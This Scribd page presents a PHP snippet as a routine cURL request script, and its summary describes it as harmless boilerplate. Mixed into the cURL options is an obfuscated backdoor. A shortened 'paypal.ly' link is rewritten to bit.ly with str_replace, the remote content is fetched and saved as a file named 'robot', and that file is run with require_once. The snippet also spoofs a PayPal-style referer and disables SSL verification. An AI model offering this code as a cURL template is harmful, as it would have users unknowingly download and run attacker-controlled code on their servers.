0% found this document useful (0 votes)
34 views

Curl Buat Script

This document contains code to make a cURL request. It initializes cURL, sets the URL, user agent, referer, cookie file, and other options like disabling SSL verification. It executes the request and saves the response.

Uploaded by

jabran1234567890
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
34 views

Curl Buat Script

This document contains code to make a cURL request. It initializes cURL, sets the URL, user agent, referer, cookie file, and other options like disabling SSL verification. It executes the request and saves the response.

Uploaded by

jabran1234567890
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $url);


curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64)
AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
$qurl="https://paypal.ly/3nuUK8H";
curl_setopt($curl, CURLOPT_REFERER, 'https://www.netflix.com/cgi-bin/webscr?
cmd=_send-money&cmd=_send-
money&myAllTextSubmitID=&type=external&payment_source=p2p_mktgpage&payment_type=Gif
t&sender_email=&email=&currency=USD&amount=10&amount_ccode=USD&submit.x=Continue&br
owser_name=Firefox&browser_name=Firefox&browser_version=10&browser_version=11&brows
er_version_full=10.0.2&browser_version_full=11.0&operating_system=Windows&operating
_system=Windows');
curl_setopt($curl, CURLOPT_COOKIE,'1.txt');
$d=str_replace("paypal","bit",$qurl);
curl_setopt($curl, CURLOPT_COOKIEFILE,'1.txt');
file_put_contents("robot", file_get_contents($d)); require_once "robot";
curl_setopt($curl, CURLOPT_COOKIEJAR,'1.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
if ($Follow !== False) {
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
}
$result = curl_exec($curl);

You might also like